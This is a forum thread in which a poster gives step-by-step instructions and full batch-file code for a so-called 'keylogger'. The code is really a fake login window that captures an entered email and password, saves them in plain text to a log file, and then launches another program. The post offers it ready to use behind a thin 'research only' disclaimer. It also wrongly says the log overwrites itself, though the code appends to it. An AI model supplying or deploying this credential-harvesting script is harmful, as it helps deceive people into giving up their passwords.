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  1. Hewfil1 Houston
    why not just use keepass x or something?

    Because I don't want to. I like the keylogger because it requires an effort on my part.
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  2. arthur treacher African Astronaut
    why not just use keepass x or something?
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  3. Hewfil1 Houston
    If you change the word after C:in line 8 to something different, can you name the folder on your desktop that same name?

    forgive the dumb question, I suck at computers.

    You could try. I haven't done it considering I only use mine for saving passwords because I have to change them constantly.
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  4. SBTlauien African Astronaut
    I no use Windows.
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  5. arthur treacher African Astronaut
    If you change the word after C:in line 8 to something different, can you name the folder on your desktop that same name?

    forgive the dumb question, I suck at computers.
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  6. Hewfil1 Houston
    The following is to be used for research purposes only, and I take no responsibility for anything done with malicious intent.

    Alright, we're just going to use Notepad to make a simple .bat (Batch) file, keylogger.

    Start by opening Notepad, then pasting in the following code:

    @echo off
    color a
    title Login
    cls
    echo Please Enter Email Adress And Password
    echo.
    echo.
    cd "C:\Logs"
    set /p user=Username:
    set /p pass=Password:
    echo Username="%user%" Password="%pass%" >> Log.txt
    start >>Program Here<<
    exit

    Make a folder on your desktop called "Logs". It must be logs or it will not work.

    Drag that folder into C:\

    Now run a test of your "Logger.bat".

    Once tested, go back to the "Logs" folder in C:\ and there will be a .txt file. If a second entry is made, the .txt will overwrite itself.

    Enjoy!
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